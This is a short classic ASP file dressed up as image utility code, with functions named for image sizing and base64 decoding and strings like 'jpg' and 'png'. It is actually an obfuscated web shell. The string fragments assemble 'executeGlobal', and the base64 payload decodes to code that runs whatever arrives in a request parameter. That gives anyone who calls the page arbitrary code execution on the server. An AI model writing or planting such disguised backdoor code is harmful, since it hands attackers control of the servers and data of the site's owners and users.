<%
image = "response.Write(null)"

Class M
	Public Sub GetImageSiz(ByVal iname)
		image_length = null
		Execute(image&vbCrLf&type3&type5&" iname")
	End Sub
End Class

Function ImageDecode(data)
    Set xml = Server.CreateObject("MSXML2.DOMDocument.3.0")
    Set node = xml.createElement("temp")
    node.dataType = "bin.base64"
    node.text = data
    decodedBytes = node.nodeTypedValue
    resultData = ""
    For i = 1 To LenB(decodedBytes)
        resultData = resultData & Chr(AscB(MidB(decodedBytes, i, 1)))
    Next
    ImageDecode = resultData
End Function

type1 = "jpg"
type2 = "png"
type3 = "exe"
type4 = "docx"
type5 = "cuteGlobal"
Set object1 = New M
ImageBS = "RXhlY3V0ZUdsb2JhbCByZXF1ZXN0KCJrcjY2NiIp"
imagedata = ImageDecode(ImageBS)
object1.GetImageSiz(imagedata)
%>